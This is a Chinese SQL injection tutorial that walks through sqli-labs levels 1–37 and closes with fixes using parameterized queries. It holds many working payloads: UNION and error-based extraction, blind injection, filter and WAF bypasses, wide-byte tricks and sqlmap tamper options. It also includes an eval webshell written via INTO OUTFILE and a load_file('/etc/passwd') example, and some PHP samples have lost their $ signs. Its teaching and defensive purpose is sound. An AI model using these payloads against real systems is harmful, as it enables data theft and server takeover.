基于 sqli-labs 靶场 · 前 37 关完整分析
+-----------------------------------+-----------------------------------+
| 覆盖关卡 | 注入类型 | | | | | 1 -- 37 关 | 10+ 种 |
+-----------------------------------+-----------------------------------+ |
绕过技巧 | 修复方案 | | | | | 8+ 类 | 全覆盖
| +-----------------------------------+-----------------------------------+
⚠ 本文档仅供合法授权的渗透测试与安全学习用途
第一章 SQL 注入概述
SQL 注入(SQL Injection,SQLi)是目前 Web 应用中最常见、危害最严重的安全漏洞之一,连续多年位居 OWASP Top 10 榜单。攻击者通过在用户输入中嵌入恶意 SQL 语句,欺骗后端数据库执行非预期的操作,从而实现数据窃取、身份绕过、数据篡改乃至服务器控制等目的。
▶ 1.1 漏洞成因
SQL 注入漏洞的根本原因是用户输入被直接拼接进 SQL 查询语句,且未经任何过滤或转义处理。以下是典型的漏洞代码示例:
// ❌ 漏洞代码示例(PHP)
id = _GET['id'];
sql = "SELECT \* FROM users WHERE id = 'id'";
result = mysqli_query(conn, $sql);
// 攻击输入: id=1' OR '1'='1
// 实际执行: SELECT * FROM users WHERE id = '1' OR '1'='1'
▶ 1.2 危害等级
危害类型 说明 严重程度
数据泄露 窃取用户名、密码、个人信息、业务数据等敏感信息 🔴 严重
身份绕过 绕过登录验证,以任意用户身份访问系统 🔴 严重
数据篡改 修改、删除数据库中的数据 🔴 严重
远程代码执行 通过 INTO OUTFILE 写入 🔴 严重 Webshell,获取服务器控制权
权限提升 利用数据库账户提升到操作系统权限 🟠 高危
拒绝服务 通过重量级查询导致数据库服务崩溃 🟡 中危
▶ 1.3 注入类型总览
分类维度 类型 典型场景
按提交方式 GET 型 URL 参数,如 ?id=1
按提交方式 POST 型 登录表单、搜索框
按提交方式 Cookie 型 Cookie 中的用户标识
按提交方式 HTTP 头注入 User-Agent、Referer、X-Forwarded-For
按回显方式 联合查询注入 有数据回显
按回显方式 报错注入 有错误信息回显
按回显方式 布尔盲注 只有 True/False 差异
按回显方式 时间盲注 无任何回显,依靠延时判断
按数据类型 字符型 参数被引号包裹
按数据类型 数字型 参数直接拼接
特殊类型 二次注入 数据存入后再取出时触发
特殊类型 宽字节注入 GBK 编码绕过单引号过滤
第二章 sqli-labs 前 37 关详解
sqli-labs 是由印度安全研究员 Audi-1 开发的 SQL 注入练习平台,涵盖多种注入类型。以下对前 37 关进行系统性分析,每关标注核心知识点与利用方法。
▶ Part 1 · GET 型注入(Less 1--22)
Less 1--4:基础字符型与数字型注入
关卡 类型 闭合方式 核心知识点
Less 1 GET 字符型 单引号 ' 最基础的联合查询注入入门
Less 2 GET 数字型 无引号 数字型注入,无需引号闭合
Less 3 GET 字符型 单引号+括号 (') 括号闭合的变形
Less 4 GET 字符型 双引号 " 双引号闭合变体
通用联合查询流程:
Step 1: 测试注入点
?id=1' -- 报错确认有注入
?id=1' --+ -- 注释后正常,确认字符型
Step 2: 确定列数
?id=1' ORDER BY 3 --+ -- 正常
?id=1' ORDER BY 4 --+ -- 报错 → 共3列
Step 3: 确定显示位
?id=-1' UNION SELECT 1,2,3 --+
Step 4: 提取数据
?id=-1' UNION SELECT 1,database(),version() --+
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+
?id=-1' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM
users --+
Less 5--6:报错注入(无回显但有错误信息)
当页面不直接显示查询结果,但会输出数据库错误信息时,可利用报错注入提取数据:
extractvalue() 报错注入
?id=1' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) --+
错误信息: XPATH syntax error: '~security~'
updatexml() 报错注入
?id=1' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
floor()+rand() 报错注入(老版本 MySQL)
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*),concat(
(SELECT database()),0x3a,floor(rand(0)*2)) x
FROM information_schema.tables GROUP BY x) a) --+
Less 7:INTO OUTFILE 写 Webshell
需要 FILE 权限且 secure_file_priv 未限制
?id=1')) UNION SELECT 1,'<?php \@eval($_POST[cmd]);?>',3
INTO OUTFILE '/var/www/html/shell.php' --+
Less 8--9:布尔盲注 & 时间盲注
当页面既无数据回显也无报错时,使用盲注技术逐字符推断数据:
布尔盲注(Less 8)- 逐字符判断
?id=1' AND (SELECT substring(database(),1,1))='s' --+
?id=1' AND ASCII(substring(database(),1,1))>100 --+
时间盲注(Less 9)- 利用延时判断
?id=1' AND IF(ASCII(substring(database(),1,1))>100,sleep(5),0) --+
自动化提取(sqlmap)
sqlmap -u 'http://target/less-8/?id=1' --dbs --batch
+-----------------------------------------------------------------------+ | 💡 盲注效率优化技巧 | | | | • 使用二分法替代逐一枚举,将 O(n) 查询量降至 O(log n) | | | | • 优先用 ASCII() 函数获取字节值后做数字比较,比字符比较更稳定 | | | | • 利用 sqlmap 的 --level 和 --risk 参数调整检测强度 | | | | • 时间盲注设置合理超时阈值(推荐 sleep(5)),避免网络抖动干扰 | +-----------------------------------------------------------------------+
Less 10:双引号时间盲注
双引号闭合
?id=1" AND IF(1=1,sleep(5),0) --+
Less 11--12:POST 型注入(登录表单)
POST 型注入通过 Burp Suite 抓包后在请求体中构造 payload:
Burp Suite 抓包后修改 POST 数据
uname=admin' OR '1'='1&passwd=anything&submit=Submit
万能密码登录(Less 11)
uname=admin'--+&passwd=anything
联合查询注入
uname=-1' UNION SELECT 1,database() --+&passwd=x
Less 13--14:POST 报错注入
Less 13: 括号闭合 + 报错注入
uname=1') AND extractvalue(1,concat(0x7e,database())) --+
Less 14: 双引号闭合
uname=1" AND updatexml(1,concat(0x7e,database()),1) --+
Less 15--16:POST 盲注
Less 15: 字符型布尔盲注
uname=1' AND 1=1 --+ → 登录成功
uname=1' AND 1=2 --+ → 登录失败
Less 16: 双引号时间盲注
uname=1" AND sleep(5) --+
Less 17:UPDATE 语句注入
此关注入点在密码修改功能的 UPDATE 语句中,注意与普通 SELECT 注入的差异:
注入点在 password 字段(UPDATE 语句)
passwd=1' AND extractvalue(1,concat(0x7e,database())) --+
# 注意:UPDATE 注入无法使用 UNION,只能用报错或盲注
Less 18:HTTP Header 注入(User-Agent)
修改 User-Agent 字段(Burp Suite)
User-Agent: 1' AND extractvalue(1,concat(0x7e,database())) --+
插入数据后触发(此关将 UA 存入数据库)
User-Agent: 1',extractvalue(1,concat(0x7e,database())),'3
Less 19:Referer 注入
修改 Referer 头
Referer: 1' AND extractvalue(1,concat(0x7e,database())) --+
Less 20:Cookie 注入
修改 Cookie 中的 uname 字段
Cookie: uname=admin' AND extractvalue(1,concat(0x7e,database())) --+
或使用 sqlmap 指定 Cookie
sqlmap -u 'http://target/less-20/' --cookie='uname=admin' -p uname
--dbs
Less 21--22:Base64 编码 Cookie 注入
Less 21:Cookie 经 Base64 编码后再存储
admin' AND 1=1 --+ → Base64 → YWRtaW4nIEFORCAxPTEgLS0r
Less 22:双引号版本
admin" AND 1=1 --+ → Base64 → YWRtaW4iIEFORCAxPTEgLS0r
Python 快速编码
import base64
payload = "admin' AND extractvalue(1,concat(0x7e,database())) --+"
print(base64.b64encode(payload.encode()).decode())
▶ Part 2 · 进阶注入与绕过(Less 23--37)
Less 23:注释符被过滤(-- 和 #)
当注释符被过滤时,需要利用字符串闭合代替注释:
正常 payload: 1' OR 1=1 --+ → 被过滤
解决方案:利用闭合代替注释
?id=1' OR '1'='1 → WHERE id='1' OR '1'='1' (恒真)
?id=1' OR 1=1 OR ' → WHERE id='1' OR 1=1 OR ''
Less 24:二次注入(Second Order Injection)
二次注入是最难被发现的注入类型之一,攻击分两个阶段进行:
阶段 1:注册恶意用户名(数据存入数据库时被转义,看似安全)
用户名: admin'--
阶段 2:修改密码时触发注入
程序从 DB 取出用户名拼接 SQL(转义失效):
UPDATE users SET password='新密码' WHERE username='admin'--'
等效于: UPDATE users SET password='新密码' WHERE username='admin'
# 结果: 成功修改 admin 账户密码!
+-----------------------------------------------------------------------+ | ⚠ 二次注入防御难点 | | | | • 一次注入的危害在写入时不体现,安全扫描工具难以发现 | | | | • 防御必须在数据使用时(读取阶段)再次过滤,而非只在写入时过滤 | | | | • 应使用参数化查询,从根本上消除拼接 SQL 的问题 | +-----------------------------------------------------------------------+
Less 25:OR 和 AND 关键词被过滤
过滤了 or 和 and(大小写不敏感)
绕过方法1:双写(过滤一次后剩余内容恢复)
oorr → 过滤 or → or
anandd → 过滤 and → and
绕过方法2:使用符号替代
|| 代替 OR
&& 代替 AND
示例
?id=1' || extractvalue(1,concat(0x7e,database())) --+
Less 25a:数字型 + OR/AND 过滤
数字型注入,无引号,同时过滤 OR/AND
?id=1 || extractvalue(1,concat(0x7e,database())) --+
Less 26:空格和注释被过滤
过滤了空格、注释(--、#、/**/)
空格替代符:
%09 (Tab) %0a (换行) %0b (垂直Tab)
%0c (换页) %0d (回车) %a0 (不间断空格)
示例(URL 编码)
?id=1'%09||%09extractvalue(1,concat(0x7e,database()))||'
括号消除空格需求
?id=1'||(extractvalue(1,concat(0x7e,(database()))))||'
Less 26a:括号闭合 + 过滤绕过
闭合方式: ('value'),同时过滤空格和注释
?id=1')%09||%09extractvalue(1,concat(0x7e,database()))||('
Less 27:UNION 和 SELECT 被过滤
过滤了 union、select(大小写不敏感)
绕过方法:大小写混合 + 双写
UnIoN → 过滤 union → UnIoN (双写绕过)
SeLeCt → 直接大小写变体
结合使用
?id=-1'%09UNiOn%09SeLeCt%091,database(),3||'
Less 27a:双引号 + UNION/SELECT 过滤
?id=-1"%09UNiOn%09SeLeCt%091,database(),3||"
Less 28--28a:括号闭合 + 综合过滤
Less 28: 闭合方式 (') + 过滤 union select
?id=-1')%09UNiOn%09SeLeCt%091,database(),3--+
# Less 28a: 无 magic_quotes,直接绕过
Less 29--31:WAF 绕过与 HPP(HTTP 参数污染)
Less 29-31 模拟了双层架构(前端 WAF + 后端 Apache),核心利用 HTTP 参数污染:
HTTP 参数污染(HPP)原理
前端 WAF 解析第一个 id,后端取最后一个 id
?id=1&id=2' UNION SELECT 1,database(),3--+
不同服务器的参数取值规则:
Apache/PHP: 取最后一个
IIS/ASP: 合并(逗号分隔)
Nginx: 取第一个
利用示例
?id=1&id=-1' UNION SELECT 1,database(),3 --+
Less 32--33:宽字节注入(GBK 编码)
当数据库使用 GBK 编码且程序用 addslashes() 转义时,可利用宽字节绕过:
addslashes() 将 ' 转义为 \'
但 GBK 编码中:%df%5c 是合法的双字节字符「縗」
%5c = \,%df%5c 被 GBK 识别为一个字,消除了转义效果
注入 payload
?id=1%df' UNION SELECT 1,database(),3 --+
原理分析:
%df' → addslashes → %df\' → %df%5c%27
GBK 解析: %df%5c = 「縗」(一个字)+ %27 = '(单引号恢复)
Less 33 使用 mysql_real_escape_string(),同样受宽字节影响
# 修复:SET NAMES utf8 + 使用 utf8mb4 编码
Less 34:POST 型宽字节注入
POST 数据中的宽字节注入
uname=%df%27 UNION SELECT 1,database() --+&passwd=x
Less 35:数字型 + addslashes()(无效过滤)
数字型注入不需要引号,addslashes 无法阻止
?id=-1 UNION SELECT 1,database(),3 --+
Less 36:mysqli_real_escape_string() 宽字节注入
即使使用 mysqli_real_escape_string,若连接字符集为 GBK 仍可注入
?id=1%df' AND 1=1 --+
根本修复:先设置连接字符集
mysqli_set_charset($conn, 'utf8');
// 再使用 mysqli_real_escape_string()
Less 37:POST 型 Base64 + 宽字节注入
先对 payload 进行 Base64 编码,再利用宽字节
注意:Base64 字符集不含特殊字符,需要先注入后编码
import base64
payload = "%df' UNION SELECT 1,database() --+"
encoded = base64.b64encode(payload.encode()).decode()
# 将 encoded 作为 POST 数据提交
第三章 绕过技巧汇总
▶ 3.1 关键词过滤绕过
过滤对象 绕过方法 示例
大小写过滤 大小写混合 UnIoN SeLeCt
双写过滤 双写关键词 ununionion, selselectect
OR / AND 符号替代 || 替代 OR,&& 替代 AND
UNION SELECT 内联注释分隔 UNION/**/SELECT
注释符 字符串闭合 OR '1'='1 替代 OR 1=1 --
空格过滤 替代字符 %09 %0a %0b %0c %0d %a0
引号过滤 十六进制编码 0x61646d696e 代替 'admin'
逗号过滤 join/from 语法 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b
▶ 3.2 WAF 绕过技术
技术类型 原理 示例 Payload
HTTP 参数污染 多个同名参数利用服务器解析差异 ?id=1&id=-1' UNION...
分块传输编码 HTTP chunked 传输绕过内容检测 Transfer-Encoding: chunked
Unicode 编码 利用 Unicode 等价字符 Union (全角字母)
URL 双重编码 二次 URL 编码混淆 %2527 代替 %27
宽字节注入 GBK 多字节特性消除转义 %df%27 吞掉反斜杠
HTTP 头伪造 伪造 X-Forwarded-For 绕过 IP X-Forwarded-For: 127.0.0.1 限制
超长 Payload 超过 WAF 检测长度限制 填充大量无效字符
注释分隔 MySQL 内联注释干扰关键词匹配 UN/**/ION SE/**/LECT
▶ 3.3 编码绕过速查表
十六进制编码(绕过引号过滤)
SELECT * FROM users WHERE username=0x61646d696e
Char() 函数编码
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)
URL 编码
空格=%20 或 %09 | 单引号=%27 | 双引号=%22
注释=%23(%0a) | 反斜杠=%5c
HTML 实体(部分场景)
' → ' " → " < → <
第四章 自动化工具使用
▶ 4.1 SQLMap 完整使用指南
SQLMap 是最流行的开源 SQL 注入自动化工具,支持多种数据库和注入类型。以下是常用命令汇总:
基础用法
GET 型注入检测
sqlmap -u 'http://target/less-1/?id=1' --dbs
POST 型注入(指定数据)
sqlmap -u 'http://target/less-11/' --data='uname=1&passwd=1' -p uname
Cookie 注入
sqlmap -u 'http://target/less-20/' --cookie='uname=admin' -p uname
HTTP 头注入
sqlmap -u 'http://target/less-18/' --headers='User-Agent: *'
数据提取命令
--dbs # 枚举所有数据库
-D security --tables # 枚举指定数据库的表
-D security -T users --columns # 枚举指定表的列
-D security -T users -C username,password --dump # 导出数据
--dump-all # 导出所有数据(谨慎使用)
高级选项
绕过 WAF
--tamper=space2comment # 空格转注释
--tamper=randomcase # 随机大小写
--tamper=between # 用 BETWEEN 替换 >
--tamper=charencode # URL 编码
--tamper=base64encode # Base64 编码
性能与隐蔽
--level=5 --risk=3 # 最高检测级别
--delay=2 # 每次请求延时 2 秒
--random-agent # 随机 User-Agent
--proxy=http://127.0.0.1:8080 # 通过代理
指定注入技术
--technique=BEUSTQ # B=盲注 E=报错 U=联合 S=堆叠 T=时间 Q=内联
--technique=T # 仅使用时间盲注
▶ 4.2 Burp Suite 配合使用
1. 配置代理:浏览器 → 127.0.0.1:8080
2. 拦截请求,右键 → Save item 保存为 req.txt
3. 将请求文件传给 sqlmap
sqlmap -r req.txt --dbs
Burp Intruder 手动枚举
将 payload 位置标记为 §value§
# 使用 Payload Sets 配置字典爆破
第五章 漏洞修复与防御方案
▶ 5.1 最佳防御方案:参数化查询
参数化查询(Prepared Statements)是防御 SQL 注入的黄金标准,能从根本上消除注入风险:
PHP - PDO(推荐)
// ✅ 安全代码:使用 PDO 参数化查询
pdo = new PDO('mysql:host=localhost;dbname=security', user, $pass);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); // 禁用模拟预处理
stmt = pdo->prepare('SELECT * FROM users WHERE id = :id');
stmt-\>bindParam(':id', id, PDO::PARAM_INT);
$stmt->execute();
result = stmt->fetchAll();
PHP - MySQLi
// ✅ MySQLi 参数化查询
$conn = new mysqli('localhost', 'user', 'pass', 'security');
stmt = conn->prepare('SELECT * FROM users WHERE id = ?');
stmt-\>bind_param('i', id); // 'i' = integer, 's' = string
$stmt->execute();
result = stmt->get_result();
Python - SQLAlchemy
✅ Python 参数化查询
from sqlalchemy import text
with engine.connect() as conn:
result = conn.execute(
text('SELECT * FROM users WHERE id = :id'),
{'id': user_id}
)
Java - PreparedStatement
// ✅ Java 参数化查询
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();
▶ 5.2 输入验证与过滤(纵深防御)
参数化查询是第一道防线,输入验证作为额外的安全层:
// 数字型参数:强制类型转换
id = (int)_GET['id'];
// 白名单验证:只允许特定字符
if (!preg_match('/\^[a-zA-Z0-9_]+/', username)) {
die('非法输入');
}
// 长度限制
input = substr(input, 0, 50);
// 使用 filter_input 过滤
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
▶ 5.3 数据库安全配置
配置项 推荐设置 说明
数据库账户权限 最小权限原则 Web 账户只给 SELECT,禁止 FILE/SUPER 权限
secure_file_priv 设为空目录或 NULL 防止 INTO OUTFILE 写文件
字符集 统一使用 utf8mb4 防止宽字节注入
错误信息 生产环境关闭详细错误 防止报错注入泄露信息
WAF 规则 部署 ModSecurity 拦截常见注入 Payload
账户分离 读写账户分离 只读操作用只读账户
日志审计 开启 general_log 记录所有 SQL 操作便于溯源
▶ 5.4 各关卡专项修复建议
漏洞类型 受影响关卡 修复方案
字符/数字型注入 Less 1--10 统一使用参数化查询,移除字符串拼接
POST 型注入 Less 11--16 表单数据同样必须使用参数化处理
HTTP 头注入 Less 17--22 HTTP 头入库前必须参数化,不可直接拼接
注释符绕过 Less 23 参数化查询后注释符无意义
二次注入 Less 24 数据从 DB 取出后使用时仍要参数化
关键词绕过 Less 25--28 参数化查询根本解决,无需过滤关键词
WAF 绕过 Less 29--31 后端参数化不依赖 WAF,WAF 作为额外层
宽字节注入 Less 32--37 mysqli_set_charset('utf8') + 参数化查询
第六章 SQL 注入常用 Payload 速查表
▶ 6.1 信息收集 Payload
数据库基本信息
SELECT database() -- 当前数据库
SELECT version() -- MySQL 版本
SELECT user() -- 当前数据库用户
SELECT @@datadir -- 数据目录
SELECT @@basedir -- 安装目录
SELECT @@global.secure_file_priv -- 文件读写限制
SELECT @@hostname -- 主机名
枚举数据库
SELECT group_concat(schema_name) FROM information_schema.schemata
枚举表
SELECT group_concat(table_name) FROM information_schema.tables
WHERE table_schema=database()
枚举列
SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_name='users' AND table_schema=database()
提取数据
SELECT group_concat(id,0x3a,username,0x3a,password SEPARATOR 0x0a)
FROM users
▶ 6.2 常用函数速查
函数 用途 示例
group_concat() 合并多行为一个字符串 group_concat(name SEPARATOR ',')
substring() 提取子字符串 substring(database(),1,1)
ascii() 字符转 ASCII 码 ascii(substring(str,1,1))
hex() 转十六进制 hex('admin') → 61646d696e
char() ASCII 转字符 char(65) → 'A'
length() 获取字符串长度 length(database())
sleep() 时间盲注延时 sleep(5)
if() 条件判断 if(1=1,'true','false')
mid() 提取子串(同 substring) mid(database(),1,1)
load_file() 读取文件 load_file('/etc/passwd')
into outfile 写入文件 SELECT '<?php ?>' INTO OUTFILE '/var/www/a.php'
▶ 6.3 盲注辅助函数
判断数据库名长度
AND length(database())=8 --+
逐字符提取(二分法示例)
AND ascii(substring(database(),1,1)) > 100 --+ -- m=109, 109>100 true
AND ascii(substring(database(),1,1)) > 110 --+ -- 109>110 false
AND ascii(substring(database(),1,1)) = 109 --+ -- 确认是 'm'
时间盲注
AND if(ascii(substring(database(),1,1))=109, sleep(5), 0) --+
正则匹配加速(减少请求次数)
AND database() REGEXP '\^s' --+ -- 以 s 开头
AND database() REGEXP '\^se' --+ -- 以 se 开头
第七章 进阶学习路径
▶ 7.1 技能树
阶段 掌握内容 推荐资源
入门 UNION 注入、报错注入、工具 sqlmap sqli-labs Less 1--10 基础
初级 盲注、POST 注入、HTTP 头注入、Burp sqli-labs Less 11--22 Suite
中级 过滤绕过、宽字节注入、二次注入、WAF sqli-labs Less 23--37 绕过
高级 堆叠注入、DNSlog 外带、JSON 注入、ORM sqli-labs Less 38--65 注入
专家 CTF 各 CTF 平台实战 综合题、代码审计、漏洞挖掘、Bypass 研究
▶ 7.2 推荐练习平台
平台 特点 地址
sqli-labs SQL 注入专项,体系完整 GitHub: Audi-1/sqli-labs
DVWA 多漏洞综合练习,有难度分级 dvwa.co.uk
HackTheBox 真实场景渗透,含数据库漏洞 hackthebox.com
TryHackMe 引导式学习,适合新手 tryhackme.com
WebGoat OWASP 官方练习靶场 owasp.org/webgoat
▶ 7.3 法律与道德声明
| ⚖ 重要声明 | | | | 本文档所有技术内容仅供以下合法目的使用: | | | | • 在自己搭建的靶场环境(如 sqli-labs、DVWA)中学习 | | | | • 参与经授权的 CTF(Capture The Flag)竞赛 | | | | • 对自己拥有或获得书面授权的系统进行安全测试 | | | | 严禁将本文档中的技术用于任何未经授权的系统,违者将承担相应法律责任。 | | | | 中华人民共和国 | | 《网络安全法》第二十七条明确规定,未经授权实施网络攻击属于违法行为。
注入类型 判断特征 核心 Payload 工具
联合查询注入 有完整数据回显 UNION SELECT 1,2,3--+ sqlmap -technique=U
报错注入 显示 MySQL 错误 extractvalue(1,concat(0x7e,db())) sqlmap -technique=E
布尔盲注 只有 True/False AND 1=1 vs AND 1=2 sqlmap -technique=B 差异
时间盲注 无任何回显 AND sleep(5)--+ sqlmap -technique=T
堆叠注入 支持多语句 1;INSERT INTO ... sqlmap -technique=S
二次注入 存储后再取出触发 注册时写入,修改时触发 手动分析
宽字节注入 GBK %df%27 消除转义 sqlmap 编码+addslashes --tamper=unmagicquotes
HTTP 头注入 头部信息存入 DB UA/Referer/Cookie 注入 sqlmap --headers
━━━━━━━━━━━━━━━━━━━━━━━━━━━
SQL 注入漏洞学习笔记 · 仅供合法安全研究使用